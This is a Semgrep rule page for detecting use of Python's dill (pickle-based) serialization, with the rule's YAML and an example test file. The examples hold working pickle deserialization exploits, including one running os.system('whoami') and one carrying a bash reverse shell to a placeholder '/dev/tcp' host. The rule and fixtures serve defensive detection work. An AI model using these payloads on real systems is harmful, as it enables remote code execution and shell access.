python.lang.security.deserialization.pickle.avoid-dill

Community Favorite
profile photo of semgrepsemgrep
Author
71,865
Download Count*

Avoid using dill, which uses pickle, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.

Run Locally

Run in CI

Defintion

rules:
  - id: avoid-dill
    metadata:
      owasp:
        - A08:2017 - Insecure Deserialization
        - A08:2021 - Software and Data Integrity Failures
      cwe:
        - "CWE-502: Deserialization of Untrusted Data"
      references:
        - https://docs.python.org/3/library/pickle.html
      category: security
      technology:
        - python
      cwe2022-top25: true
      cwe2021-top25: true
      subcategory:
        - audit
      likelihood: LOW
      impact: MEDIUM
      confidence: LOW
      license: Commons Clause License Condition v1.0[LGPL-2.1-only]
      vulnerability_class:
        - "Insecure Deserialization "
    languages:
      - python
    message: Avoid using `dill`, which uses `pickle`, which is known to lead to code
      execution vulnerabilities. When unpickling, the serialized data could be
      manipulated to run arbitrary code. Instead, consider serializing the
      relevant data as JSON or a similar text-based serialization format.
    severity: WARNING
    patterns:
      - pattern: dill.$FUNC(...)
      - pattern-not: dill.$FUNC("...")

Examples

pickle.py

# Import dependencies
import os
import _pickle

# Attacker prepares exploit that application will insecurely deserialize
class Exploit(object):
    def __reduce__(self):
        return (os.system, ("whoami",))


# Attacker serializes the exploit
def serialize_exploit():
    # ruleid: avoid-pickle
    shellcode = _pickle.dumps(Exploit())
    return shellcode


# Application insecurely deserializes the attacker's serialized data
def insecure_deserialization(exploit_code):
    # todok: avoid-pickle
    # _pickle.loads(exploit_code)

    # ruleid: avoid-pickle
    _pickle.loads(exploit_code)


# Application insecurely deserializes the attacker's serialized data
def insecure_deserialization_2(exploit_code):
    import _pickle as adaasfa

    # ruleid: avoid-pickle
    adaasfa.loads(exploit_code)


import cPickle
import socket


class Shell_code(object):
    def __reduce__(self):
        return (
            os.system,
            ('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',),
        )


# ruleid: avoid-cPickle
shell = cPickle.dumps(Shell_code())

import dill

# ruleid: avoid-dill
shell = dill.dumps(Shell_code())

import shelve

# ruleid: avoid-shelve
myShelve = shelve.open(Shell_code())

if __name__ == "__main__":
    # Serialize the exploit
    shellcode = serialize_exploit()

    # Attacker's payload runs a `whoami` command
    insecure_deserialization(shellcode)